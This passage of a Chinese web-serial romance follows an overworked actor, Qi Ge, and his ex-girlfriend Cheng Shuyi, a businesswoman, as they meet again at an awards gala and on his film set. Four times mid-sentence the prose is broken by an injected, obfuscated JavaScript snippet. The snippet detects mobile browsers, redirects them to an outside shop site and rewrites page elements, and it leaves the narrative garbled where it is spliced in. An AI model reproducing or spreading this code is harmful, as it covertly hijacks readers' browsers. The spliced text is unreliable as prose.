祁歌窝在椅子里侧头瞥了她一眼,无力地抬起一只手摆了摆。 那意思是你先走吧,懒得讲话。 “哥你没事吧?”阿远有些担忧地盯着他。 祁歌蹙着眉头没吭声。 阿远还没来得及细问,那边导演忽然喊就位了。祁歌迅速站起身将肩上的衣服抖掉在椅子上,然后一边答应着一边大步流星地走去。 看这样子应该是没啥事……吧。 阿远给他衣袋里塞了两个暖宝宝。 本来想说服祁歌在衣服里贴几个,但祁歌说戏服太薄,会看出来穿帮,不能贴。 正想着,女主欣欣从她身边经过,身后跟着助理保镖好几个人。 阿远支着耳朵正好听到他们在聊天。 “这男主名气不大,架子不小啊……” “今天通告不就为他改的……” 欣欣说了句什么,由于人都走远了,阿远已经听不清了。 哦,难道是因为祁歌出席活动需要请假,今天才调整了拍摄计划? 阿远抬头看了眼摄像机前的人,只见祁歌已经一扫刚才的半死不活,正双眼亮亮地跟女主对戏,讲话间嘴唇慢慢弯起一个毫无设防的笑容,气质跟刚才判若两人。 好会演啊。 到了出席晚会那天,说好要送来的礼服由于车辆的问题一直没送到。 “怎么办啊祁哥?”阿远第一次遇到这种事,来回联系了半天,急得团团转。 当事人坐在片场边上等戏,老神在在地喝了口水:“前几天开机仪式上穿的那身还没还,不行就还穿那个呗。” 阿远闻言猛然回头瞪大了双眼:“哥,你疯了吗?” “嗯?”祁歌从杯口上抬眼看她。 杯子是阿远跟高姐申请刚买的,老干部风格的保温杯,祁歌挺喜欢,去哪都带着。 缭绕的雾气好似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578261|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘散在他眼眸里。 阿远梗了一下,这才彻底爆发:“哥,你是不是不要命了?你是个明星,明星!穿重复的衣服是一种犯罪,要被抓起来永世被嘲的。” “你在说什么,”祁歌笑得不行:“我算哪门子明星?” 阿远理直气壮:“怎么不算,咱们现在是正规军,啥都得按规矩来,礼服好不好看无所谓,必须是没穿过的!” “……行,”也不知道祁歌是被这种气氛感染,还是做个样子敷衍阿远,“那你加油联系!” “祁哥放心,一定拿到!”阿远撸袖子。 那天程书仪果然没空去晚会现场枯坐。 她下午有个临时的会弄到很晚,到会场的时候晚会已近尾声。进门时她还担心能不能进去,好在顺利被放行。 这会儿场内的人已经不多,程书仪进到包厢朋友就迎了上来:“快坐会儿,喝什么?” “不用了,”程书仪摆摆手,俯身在前面看了会儿舞台上的表演者。 “再有两三个表演就结束了,我们再坐一会儿就可以去吃饭。”朋友介绍道,“你真没对哪个明星感兴趣?今天来了不少小鲜肉。” “你很烦诶……”程书仪回头瞪他。 她在场内的座位上看了一圈,很快发现了祁歌的身影。 倒不是因为祁歌在这片衣香鬓影星光熠熠之中有多引人注目,而是因为他手里拿着个朴实无华的双层透明保温杯,里面似乎还泡着枸杞。 实在和这个场景太不相称了。 程书仪觉得好笑,就倚在那里多看了几眼。 台上一首歌表演结束,灯光暗下来的时候,程书仪看到祁歌从兜里掏出来什么东西,摸索着拿在手里,接着仰头放进了嘴里。 灯再亮起来时,他正好端起杯子喝了两口。 旁边有人留意到他的杯子,祁歌咽下水笑着给人展示,不知道说了什么,引得旁人也笑起来。 也是这个时候程书仪才发现,尽管带着妆,祁歌的脸色还是有些憔悴。 之前看群里有讨论说,这几天剧组天天拍大夜,一整个非人作息。 可能太累了吧……程书仪心想。 为了避开人群,程书仪和朋友到达晚宴的地点时,主办欢迎辞都快致完了。 “我们位置在哪?”程书仪颇为急切,“我好饿。” “这边,”朋友嘱咐她小心脚下,“你有这方面投资意向的话,过两天有个招商会……” “那还是算了,”程书仪摇头,“这行业我不太懂,但这几年感觉已经没什么赚头。” 朋友一脸困惑:“我真有点看不懂你了程书仪,我印象里你不是这么乐于浪费时间的人……” 程书仪毫不客气地瞪他:“咱俩去山里远足的时候你怎么没喊浪费时间?” “那登山能一样吗……” 程书仪抬起头想翻白眼,目光却忽然一凝。 他看到她了。 朋友还在旁边说什么,但她都没听到了。 因为那个人就静静站在离她几米之外的桌子旁边,举着杯香槟望着她,不知道已经望了多久。 上一次匆匆一面,没怎么看清他,这一次她看清了。 那双漂亮如星光的眼睛里,仍是有爱意的。 没等她做什么反应,祁歌旁边正巧有人过来跟他敬酒。 他垂了垂眼帘跟人碰了杯,仰头喝酒时,目光又回到了程书仪身上。 他一口气喝干了那杯酒。 5. 捡只猫 “你就直说吧,是不是看上那个小演员了?”朋友坏笑着推程书仪。 她不知道自己刚才的表情是怎样的,但从现在还没平复的心跳来看,应该是将异常表现得非常明显。 祁歌这个家伙就是故意的。 他知道程书仪喜欢看他什么样子。 这个自虐狂。 程书仪低头专心吃着盘子里的东西:“要看上……早就看上了。” 这话说得有些值得玩味,朋友眯起眼睛。 “吃饭吃饭,”程书仪头都不敢抬了,“吃完走人。” 这个人现在怎么样,说到底和自己又有什么关系。 他不是一支曾经看好的股票,不论何时都能重新评估再次买入。 重蹈覆辙不是她的作风。 这种宴会一般不会太久,很快就宾主尽欢,曲终人散。 出了门才发现,外面竟然下雨了。 天气太冷了,那些细密的雨丝仿佛被一根根冻结在屋檐之下,成为缕缕纱线织就的半透明灰色水帘,将街道上的灯光笼罩出朦胧散开的光晕。 散场走出的明星们都前呼后拥地有助理撑伞,顾盼生姿地依次上车。 想必明天就会有谁的氛围感被抓拍登上热搜。 程书仪的司机刚才发来消息,说车库里正排队,可能还要等一会儿。 “那我先去个洗手间?”朋友跟程书仪说,“你要不进去等会。” 程书仪点点头,想着回去可能还会碰到祁歌,干脆就在门廊侧面的角落站了一会儿。 耳边人声嘈杂,她百无聊赖地抬头看去,只见雨点在玻璃的屋檐上跳动,凝结成大大小小不断变化的不规则椭圆。 透过这块玻璃看向天空,灯光被折射出的光芒就像月亮一样。 一阵风过,从檐上落下的几滴雨水溅上了她的脚。 还是有那么一点冷的。 程书仪抱着手臂退了两步。 就像那些霸总文里写的场景一样,一件西装外套被搭在了她肩上。 她抬头就又看到了那双眼睛。 “在等车?”祁歌的声音听起来轻松又明快,“今天有点冷。” 程书仪点点头:“是啊。” 奇怪,她心里并没有多少抗拒,好像此刻的久别重逢对他们来说,是如此平常的一件事。 她不确定时间过去了多久,大概也就三五分钟,车子终于开到面前,司机下车喊了声“程总”。 程书仪回头看了眼祁歌。 祁歌还是笑着,伸手作请示意她上车。 于是程书仪将肩上的外套还给了他,道了谢坐进了后座。 这会儿他们的前后都有许多车子在排队通行,还要等程书仪的朋友出来,司机又怕挡到别人,开车往前挪了一点,停在了路边。 程书仪便隔着车窗往外看了看。 只见刚才还笑吟吟站在路边目送她的祁歌已经蹲了下去。 从她的角度看去,祁歌的鬓发是湿的,两弯长睫的阴影如这雨帘一般细密而多愁。 那件还有余温的外套被他随便拥在怀里,使他整个人显得更添几分柔软。 程书仪根本挪不开目光。 几秒后她认命地打开车门,重新回到冷雾环绕的空气中。 “你没事吧?”她站在祁歌面前。 祁歌闻言抬头,眼睛里霎时盛满惊讶,显然被吓了一跳地向后一缩。 要不是他及时伸手撑了一下,几乎一屁股坐在地上。 被自己的狼狈逗笑,祁歌一边起身一边冲程书仪弯了眼睛。 这傻子。程书仪也终于弯起嘴角:“没车吗?要不要送你?” 祁歌掏出手帕擦着手歪头看了眼她身后的车。 “噢,我朋友还在里面,要等他出来。”程书仪也不知道为什么要为刚才没走而解释。 “朋友?”祁歌含着笑重复了一遍这个称呼。 “哎来了来了,”程书仪的朋友正好从大厅出来,“诶,这是……” 祁歌退了半步没说话,显然是等着程书仪介绍。 “这是祁歌,一名演员。”程书仪言简意赅地说。 “噢,那你们是……去你家?那那那我自己回去吧!”朋友大方让出。 这人一天天都在想什么……程书仪抬脚要踢他。 她穿着高跟鞋,抬起脚时有些不稳,祁歌很自然地伸手扶住了她。 “程总不用送我,我自己回吧,剧组那边和你们不是一个方向。”他扶稳了程书仪之后摆摆手,向后退了一步。 就连这一步都站不稳似的原地晃了下。 门厅的灯光明亮,照出他的脸色可以说是惨淡。 程书仪叹了口气。 她几乎忘了,祁歌一开始其实还挺难追的。 刚在网上认识祁歌没多久的那会儿,有次祁歌说接了个舞台剧。 那时候情况特殊,舞台剧不景气,这个剧是某地方文旅为了申请国家补贴牵头做的表面项目。 祁歌是业内新人,接到角色之后一丝也不敢怠慢,每天兢兢业业排练,花了一个多月跟剧组磨合。 “这么辛苦啊,那演出的时候我可以去看吗?” 当时他们还没见过面,程书仪这样留言道。 “当然可以,”祁歌回复她,“欢迎你来。” 他没说要给程书仪留票,有可能是懒得搭理纯客套一句,也有可能是没这个权限。 程书仪倾向是前者。 后来果然在网上刷到了这个剧的开售消息。 程书仪又给祁歌发消息,问他是不是每场都在。 这次祁歌过了好久才回她:“不好意思啊,这个剧我不出演了。” 这让程书仪有些猝不及防:“嗯?为什么?” 那边又半天才回复:“说来话长。” “那要不……”程书仪心里却有点开心,“有时间出来见一面,说说?” 她知道这是个很难回绝的提议。 来回拉扯了几句,最后还是大家都上了车,程书仪先送了朋友回去。 祁歌安安静静坐在前排,一直没出声。 朋友下车关门发出“砰”的一声,程书仪看到祁歌小幅度地激灵了一下。 原来是睡着了。 “你……最近挺累的?”程书仪问。 祁歌应了一声,嗓子听着有些喑哑。 他似乎还处于没完全清醒的状态,茫然看了会儿车窗外面。 这里算是城市最繁华的地区之一,即使是在如此深夜也灯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578262|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火通明。 一时间仿佛有许多话想说,却找不到合适的那一句。 “你住哪个酒店?”程书仪问。 “我……”祁歌犹豫了一下,还是报了酒店名,“谢谢你啊,这么晚了……” 他说话的尾音忽然被迫断了气流,轻飘飘地走了音。 “先生没事吧?”是司机先开了口。 程书仪俯身向前看去,只见祁歌一手撑着车前的中控台,另一只手埋在身体里的什么位置,垂着头整个人都有些发抖。 “是胃疼吗?需要去医院吗?” 程书仪没立刻听到回答,便拍了拍司机:“去医院吧。” 祁歌没答也没动,咬着牙缓了十几秒才艰难开口:“没事,不用……” 他颤抖着吸了口气,才又接着说下去:“抱歉啊,耽误你时间了,送我回去就行。” 阿远想了又想,还是给祁歌发了消息:“祁哥,你回来了吗?明天早上七点出发哈。” 她晚上本来想跟去活动现场,但祁歌说那里人多又乱,用不着她。 “一个人行吗?主办会派车接你过去,但是晚宴之后再回来可能要等安排,”阿远忧心忡忡,“今晚好像会下雨……” 祁歌不胜其烦地摇头:“没事儿,我这么大的人了,参加个活动还能回不来?” “不是,我是说……”阿远挠头,“这礼服好不容易送来的,可不要沾水啊!” 祁歌无语地看着她:“果然比起我,还是礼服更要紧些是吧?” “那哪能呢,”阿远狗腿地给祁歌塞保温杯,“您可不要误会。” 玩笑归玩笑,阿远这会儿刷到情报说晚宴都结束了,也不知道祁歌顺利回来了没。 虽然都在一个城市,但这酒店在片场附近,地理位置可够偏的。 左等右等,祁歌终于回了消息:“今晚在朋友那儿,明天我自己过去化妆,你跟车过去不用等我了。” 这是什么意思?阿远对着手机百思不得其解。 朋友? 心软。程书仪在心里评价自己。 下了一百遍决心,最后还是把人带回了家。 不管怎么样,人是领回来了,今晚也算超额完成任务。 她本来想着见一面就算了的,现在又开始有点摸不准祁歌的想法。 好消息,祁歌是真的不舒服,没有对她带自己回家的决定发表任何见解。 坏消息,祁歌是真的不舒服。 他一进门就礼貌询问了客卫的位置,然后进去十几分钟没出来。 久到程书仪想敲门问问他还活着不的程度。 思忖间,祁歌终于拉开了门。 看到她站在门外,祁歌立刻对她笑了:“打扰了,我……” 程书仪蹙起眉:“你这样还想回去?” 祁歌微微阖了眼睛摇摇头,话音清浅:“那在你这儿借住一晚,行吗?” 他在话语的尾音落下时将眼帘抬起,用上目线望着她。 好一个楚楚可怜的男狐狸精。 程书仪被噎住了两秒,僵硬地把手里的一打一次性洗漱用品递过去:“客房就在对面这间。” “谢谢。”祁歌眉眼一弯,却还带着些虚弱痛意,引得程书仪又多看了两眼。 6. 到时见 程书仪现在住的这套房子位置挺不错,面积也不小,收留个客人还是很宽裕的。 奈何这位客人病着,进客房都是靠程书仪扶着才没有虚弱地跌在地板上。 “我这儿估计没有你需要的药,给你叫个配送?”程书仪这会儿是真情实感地有些担心起来。 祁歌坐在床边弓着身子深吸了口气,单薄的身形看着摇摇欲坠:“我衣服里有,麻烦你,帮忙拿一下。” 给孩子疼的,话都说不利索了。 他的外套从披给程书仪之后就没再穿上,这会儿被可怜兮兮地随手扔在门厅。 程书仪从衣服的口袋里翻出了铝箔的药片,又倒了温水给他送过去。 “你这胃病是不是比之前严重了?”她关心了一句。 祁歌动作熟练地吞下药片:“还行,最近刚开机,赶戏稍微有点累。” 他将杯子交还到程书仪手上,抬头笑了笑:“我这次是男主了。” 程书仪的指尖碰到他冰凉的手指,再垂下眼就看到他压在上腹的另一只骨节分明的手。 “……还疼?” 祁歌摇了摇头:“一会儿就好了。” “那我……”程书仪有心想嘱咐点什么,又觉得祁歌并不需要,“你早点休息。” “我明天一早就走,”祁歌在她转身握上门把时开口,“书仪……” “几点?”程书仪回头来看他,“让司机送你。” 祁歌愣了愣。 今晚对祁歌来说,着实非常难熬。 最近戏份太满,紧赶慢赶才挤出这一晚上时间。祁歌下午下了戏就往会场赶,总算没有迟到。 由于咖位过小无人知晓,走红毯时两边架起摄像机的都只有寥寥几人。 没人给他拍照。 祁歌开始觉得或许应该带上阿远,最起码有个氛围组。 入行以前他其实并不知道该怎么拍那种定点照。开始接戏后有次为了营业找摄影师帮忙拍了几张,被粉丝嘲笑僵硬如蜡像。 于是为了保证祁老师的英俊帅气被更多人认可,那时候程书仪出主意用相机给他拍了好多照片。 “镜头感嘛,多拍拍就有了。”程书仪连监视器都懒得看,举着相机乱拍一气。 每拍完几张她就喊祁歌过去看,然后两人为那些怪异又潦草的照片笑成一团。 后来因为那个相机需要拔卡才能读取照片,程书仪又一直懒得弄,到最后祁歌也没能获得那些照片的存档,不知道程书仪还有没有留着。 进入会场后祁歌早早和好多人一起上台领了无足轻重的奖,之后便在内场闲坐,偶尔跟认识的明星打个招呼,混两个反应镜头。 场内的空调凉风呼呼吹着,祁歌觉得胃里像被塞了个什么沉甸甸的石头似的,难受得厉害。 考虑到一会儿还得去晚宴露个面,他趁着没人注意摸出药来吃了一颗,这才压下了些许不适。 这晚宴是真的不该来的,祁歌想。 他无所事事地混在人群里听了会儿无聊讲话,胃里空着却根本没什么能吃的东西,甚至有些想偷溜。 谁料一回头却如有神迹一般看到了她。 他知道程书仪身份地位出众,出席这样的场合当然是主办方求之不得的事。 但他还以为,她对这些事情不感兴趣的。 祁歌轻轻叹了口气。 看得出来,程书仪今天有认真打扮过,头发被典雅地梳起,搭配裙装显得优雅得体。 她身边还有个男伴,在桌前一边嚼着牛排一边对她笑着,不知在说些什么。 祁歌气得胃疼。 他在心里将这种情绪解释为习惯使然。 程书仪,对人有兴趣的时候每天缠着问东问西乐此不疲……现在呢,是不是她感兴趣的人早已换了对象,所以无论他如何地凝望,她也不会再投来任何眼神。 那杯酒也是真的不该喝。 祁歌一晚上没吃什么东西,也没跟人说几句话,觥筹交错之间,连自身的存在都有些模糊,只觉得腹部那股拧搅的痛意变得越发真切。 程书仪只看了他一眼,就再也没看过来。 祁歌却没办法让自己的目光不去追随那个身影。 有时候祁歌觉得人会喜欢追忆某些曾经同行的人,是因为怀念那段时光。 可是和程书仪相识的那段时光里有太多祁歌不想去回忆的东西。 可是,他仍然想着那段时光里的她。 三年不算太短,但也没长到让他放下这种怀念。 房间归于沉寂时,他垂着头窝在床边,静静等着又一阵绞痛的痉挛过去。 黑暗中,他微微牵起嘴角。 也算值得吧,她又在望着他了。 一夜过去,雨后的早晨寒风阵阵,气温骤降。 祁歌轻手轻脚地关了门出来,转身正碰到程书仪家里的阿姨从厨房出来:“先生吃早饭吗?” 祁歌摇摇头:“书……程总还没起吧?” 他知道程书仪总是要睡够的。 阿姨却笑而不答。 祁歌纳闷地顺着阿姨的目光抬头,正好看到程书仪拢着睡衣从楼上下来。 “来不及吃饭?要不给你带点吃的。”她自自然然地说,“车在楼下等你了。” 祁歌判断她曾经多次招待朋友借住,业务很是熟练。 就连阿姨都习惯了。 搞不好来的就有昨天那位朋友。 祁歌心里莫名涌起点不快。 于是程书仪看到祁歌垂下眼,不知道想了些什么,幽幽叹了口气,摇头时说话没什么力气:“不用了,吃不下。” “嗯?”程书仪走到他面前打量他的脸色,“还是难受?” 祁歌乖觉地垂眸看她,微微弯起嘴角:“没事儿。” 那字音的尾声在空气中拐了两个小弯,硬是一个字带出了点撒娇的意味。 怎么感觉这人比之前要“会”了很多。 程书仪无奈地摇摇头,歪头看了眼他身上薄薄的西装外套:“今天外面冷,我拿件衣服给你。” 她穿着拖鞋从楼梯上去,片刻后拿了件深咖色的翻领大衣递给祁歌:“这件男女穿都行,你试试。” 祁歌没有推辞,直接将大衣套在西装外面:“谢谢,那我走了。” 他走到门厅一边换鞋一边状似无意地说:“我们这个戏在这里拍完现代部分就要进山了,你要是……有兴趣的话,可以过来探班。” 他说完没等程书仪回答,就自己补充道:“有空我可以带你参观一下……要是忙的话也不用非要找时间来,以后也有机会。” 要去他的剧组探班,也是程书仪好久前就想要做的事。 那时候她对拍戏很感兴趣,想知道一个故事是怎么由文字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578263|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变成具象的画面呈现出来的。 可惜那时候祁歌只是个跑龙套的,最多演个小配角,总跟她说以后再说。 程书仪站在原地发了会儿呆。 “小姐吃饭吗?”阿姨走过来问。 “一会儿吧,”程书仪伸了个懒腰,“我再去睡会儿。” 祁歌匆匆进了化妆间看到阿远,才猛然想起自己把那个老干部保温杯落在了程书仪家。 他看向阿远的目光一下子多了点心虚。 阿远敏锐地察觉到了,立刻问出了关键问题:“祁哥,你昨天说那个朋友是谁啊?” “没谁,”祁歌迅速否认,又蹙起了眉头,“帮我拿点吃的可以吗?我胃疼得厉害。” “啊?昨天喝酒的原因吗?我给你拿份小米粥哈。”阿远像小动物一样指哪打哪地被转移了注意力。 上好妆之后,祁歌显得更心虚了。 “哥,你不如直接告诉我吧。”阿远拒绝了祁歌讨好地分享给她的糖。 祁歌长叹一声,递上那件皱巴巴的礼服外套。 “你……”阿远颤巍巍地接过礼服,“祁哥,赔钱的话你可以自己掏吗?” 祁歌龇着牙咧嘴摊了下手,示意自己是无产者。 “啊啊啊啊……”阿远抱头。 “祁老师,咱们车来了!”那边有工作人员喊他们过去。 祁歌应了一声,系好大衣走出门去。 接着刚迈出去左脚就被阿远拽了回来。 “怎么了,我迈错脚了?”祁歌认真发问。 “祁哥,你身上这件衣服……”阿远指着祁歌穿的大衣。 “昂……” “这是LoroPiana的吧,”阿远断言道,“是你朋友的?” “对……但我不太懂。”祁歌低头看了看这件衣服。 他现在虽然也混上个男主,但这么多年钱却没挣到几个,也没买过什么奢侈品。 他早上穿走这件衣服的时候,只是窃喜于程书仪对他的关心备至,别的真没想太多。刚才穿着又是化妆又是吃东西,已经肉眼可见地弄脏了点。 这会儿看到阿远的表情,他才终于后知后觉地小声问了句:“多少钱?” 阿远咬着后槽牙微笑:“十万加。” 祁歌当机立断就作势要脱衣服:“你去找个袋子……” “哎哎哎,哥,”阿远及时阻止了他,“你知道外面现在几度吗?你胃不疼了?” “我感觉我现在不是胃疼,是心疼。”祁歌说。 拍到中午放饭时,阿远迫不及待地运了两份盒饭回来。 这个剧组虽然条件简陋,但主创吃饭可以去合作的自助餐厅,其实用不着吃盒饭。 但祁歌习惯了自己吃饭,加上最近胃口也不好,懒得去餐厅,多是窝在椅子里随便对付几口。 阿远迅速干饭完工后,转而忧心忡忡地看着对面的祁歌兴致缺缺地戳着盒子里的米饭。 接着他的手机忽然响了一声。 祁歌拿起手机划开看了会儿,忽然就笑了。 这个笑不是他在片场演出来的那种温和清浅的笑,也不是被什么好玩的事物逗笑,而是一种自然而然的,仿佛被什么东西……抱住了一样妥帖又自在。 他低头打字回了消息,没过一会儿又拿起手机用手指按住了语音键: 好,到时见。 7. 见面说 阿远一打开祁歌的超话就被迎面而来铺天盖地的“黑幕”、“暗箱”等词汇砸了一脸。 这不完了吗这不,刚入职就摊上事儿了。 她一个头两个大地简单浏览了一下粉丝们的控诉,大意是说那天晚上祁歌出席的活动发了名额,但没有公开透明地公示获得名额的粉丝信息,而是分给了和管理员关系好的用户。 阿远给管理员发消息询问情况,获得的回复算不上友好。 她说当天时间本来就紧张,她收到通知后立刻公布了报名要求,按报名人的条件选了商务金额最高的,争分夺秒两小时之内发送了入场码,于情于理问心无愧。 至于要公布选拔细节这类事,她觉得自己没这义务。 这所谓的后援会并非专业机构,几位负责人也没有半点收入,纯纯为爱发电,似乎也不该太高要求,求全责备。 阿远看着手机叹了口气。 “怎么了?”祁歌拍完一场过来,一边关心地问她,一边拿起桌上的纸杯要喝水。 “你放下放下!”阿远严厉制止,“那水都凉了,我给你再倒点。” 祁歌吐吐舌头:“不用我就喝一小口润润嗓子。” 他靠在椅子上稍歇了歇,又去追问阿远:“有什么麻烦事吗?” 阿远又叹了口气,将这事始末给祁歌讲了一遍。 “这事儿……这么重要吗?”祁歌露出地铁老人的费解。 “你不懂。”阿远郁卒地给高姐发消息。 祁歌拍拍她的肩:“没事啦,都是小事。” 阿远本想反问那什么是大事,结果抬起头祁歌已经又起身走向他的摄像机下。 这段戏份演的是男女主甜蜜愉快的相处。即使是这会儿并没开拍,祁歌走路时也将步伐放得轻快,足底都透着愉快。 看着这样的画面,阿远又觉得自己行了。 ……不,不行,行不了一点儿。 当晚阿远就开着手机功放跟高姐吐槽:管不了,真管不了,现在粉丝都闹着要罢工,我能怎么办? 高姐语气冷冷给她加活儿:那你去接管一下后援会,把这个“工”干起来不就行了。 “我……”阿远用微笑咽下咬牙切齿,“我都已经身兼多职了,咱就是说公司这份工资发得是不是太合算了点。” 在旁边旁听的祁歌没忍住笑了一声。 “高姐,”他开口劝道,“阿远跟着我在片场,有时候信号都没有,怎么搞宣发,这事儿要不就先放放吧……” “你倒是这不着急那不着急,”高姐仍然语气不善,“怎么不自己去维护一下粉丝?” “好好好——”祁歌拖长了声音,“我这几天一有空就去跟粉丝聊聊天,维护一下氛围,行了吧?” 高姐的情绪终于听着好了点。 阿远瞥了眼身边的祁歌,只见她哥一脸严肃正经认真,不由怀疑刚才听到的撒娇感是自己的错觉。 没想到这件事还没完全解决,片场又有新消息,说戏里有个即将开拍的配角演员换了,换上了一个颇有流量的男爱豆。一时间流媒体上粉丝们欢欣鼓舞,给这默默无闻的剧带了不少流量。 搞不好要给这位加点戏。 这剧虽然祁歌是男主,但这归根到底是部大女主剧,故事是围绕着欣欣演的女主展开的。倘若配角的戏份增加,祁歌的主角地位就有可能不保。 为此阿远很是操心,最近饭都吃得少了。 但这些麻烦事似乎丝毫没有影响祁歌的心情。 他这两天拍戏格外积极主动,吃饭都比之前多吃了几口。 这让致力于投喂的阿远欣慰不已。 在每天发给高姐的工作小结里,她如实汇报了这件事。 “他是不是又谈恋爱了?”高姐立刻警觉地问阿远。 “……又?”阿远抓关键词一向很准。 高姐那边陷入了长久的沉默。 随着天气略微转暖,导演开始集中地安排户外实景拍摄的内容,说是要抢一抢这一线春光。 祁歌穿着薄薄的春衫在唯美的公园桃花树下演了几天主角记忆中的少年戏,毫无疑问地感冒了。 阿远一时也不知该夸他体质还行,硬是冻了好几天才感冒;还是该说他林黛玉,胃病刚好没两天又病倒了。 病号自己倒是很自觉,每天感冒药消炎药退烧药止咳药一顿不落地吃,敬业到硬是没耽误一场戏。 好容易拍完了这个场景再转回棚里,那位天降的配角就来了。 程书仪从那天给祁歌发了消息问他杯子还要不要,又鬼使神差地答应会找个时间去探班之后,就没再跟祁歌联系。 最近她跟朋友合作新谈了个项目,也确实是比较忙。 但不管怎么样,她答应的事情肯定会做的。 大概祁歌也是深知她这一点,这几天一句也没催,继续像一个合格的前任那样安安静静地躺在她的列表里。 但和以前不一样的是,程书仪发现自己又时不时会想起他。想起来了,就打开超话和群看看,稍微围观一会儿粉丝动向。 比如前段时间粉丝声讨后援会名额分配不公的事,就还挺有看头。 感觉祁歌也是时候成立个自己的工作室了,程书仪想着。以后粉丝多了,这方面的管理都需要跟工作室的头衔对接。 这件事之后祁歌在群里空降过几次,温温和和地讲清了事情原委,安慰大家不要着急,以后肯定还有机会。 “你们难道不相信我?”这条是用语音发送的,话音落在耳边时带着点笑意。 程书仪仿佛透过这句话又看到那双眼睛,狡黠地闪着光。 其实这件事不是祁歌的问题,但他处理得很好。祁歌一向是个聪明人,在有些事情上又毫无必要地“轴”。在这些方面,有时候程书仪很难搞懂他。 这两天粉丝之间还有个热门议题,就是所谓配角换人要升咖。 其实这种事在业内并不少见,投资者总会想捧自己的人。在选人和剧本修改方面,普通剧组导演的话语权并不大。 很多年前的小咖啡店里,程书仪也是这样跟祁歌分析的。 “你是做什么的?”祁歌笑着问她,脸上并没有任何可见的不快。 程书仪倒比他还气愤些:“你等我说完,就算是最后要换人,补偿要的吧,排练那么长时间难道不应该发点工资?哪有这样轻飘飘把人打发走的……” 祁歌搅着咖啡垂了垂眼帘:“没什么,这对我也是种锻炼嘛,就是……” 他抬眼望向程书仪:“抱歉让你失望了。” 程书仪连呼吸都微微一窒。 半晌,她才微微呼了口气:“我不是失望,我是……” 是什么呢…… 她那段时间算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578264|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祁歌的忠粉,每天刷好几遍更新,关注着祁歌的一举一动、所思所想。 她已经如此了解祁歌,但此刻她于祁歌来说,还只是普通的粉丝一枚,只会如此以礼相待淡然一笑。 她花了点时间才明白,那种感觉叫做心疼。 程书仪正捧着手机发呆,祁歌今天的群聊语音又发来了。 她放在耳边一点开就皱了眉头。 接着她立刻翻了翻自己的日程,给祁歌发去了约时间的消息。 还是见面说吧。 在电视剧的拍摄现场,什么离谱的事都有可能发生。 譬如今天配角第一天开拍,早上五点给全员发了飞页。 也就是说今天所有的台词场景调度都要大幅度改动。 甚至还有几场男主戏要改成配角的。 阿远一大早就炸了:“有没有这么欺负人的!咱这剧到底有啥地方引起了他的注意,让他这么一个资源咖小鲜肉这样强取豪夺?” 祁歌带病一早起来背词儿,这会儿看着甚至神志不太清醒:“你说陈逸心啊?他开拍前就瞄上这剧了。” “嗯?怎么说?”阿远立刻好奇。 “那时候你还没来,”祁歌慢慢说着,“开拍前我去拍那个宣传……那叫什么照片,他就排我前面。” 祁歌说完掩唇咳嗽了一会儿,再开口声音都有些哑:“你别跟高姐说了……” “……晚了。”阿远亮了下自己的屏幕“已经说完了。” “你怎么打字……那么快呢?”祁歌被气得气都差点没接上。 “为啥不告高姐?”阿远懵懵。 “她那个暴脾气,肯定要找对家公司吵架……”祁歌头痛扶额。 “该吵就得吵!”阿远叉腰,“是他们欺人太甚!” “祁老师,又见面了!”陈逸心一到现场就热情跟祁歌打招呼。 “是啊,”祁歌跟他虚虚抱了一下,“多多指教。” “哎呀我哪敢!”陈逸心连忙说,“祁老师您是专业演员,全靠您带带我。” 祁歌摆摆手背过身去咳嗽。 陈逸心原本想帮他拍拍背,手搭上来却被他不着痕迹地避开了。 “哎欣欣姐!”陈逸心抬眼看到女主过来,继续热情地迎上去打招呼了。 i人祁歌松了一口气。 由于要拍的好多戏份台词都是新写的,不管是场景配置还是演员走戏都耗费了比平时多一点的时间。 累计下来,今天的戏肯定是拍不完了。 导演看起来也逐渐暴躁起来。 “旁边那个路人入镜了!会不会演戏啊你?” “灯光调一下,演员面部阴影对吗?看不见吗?” 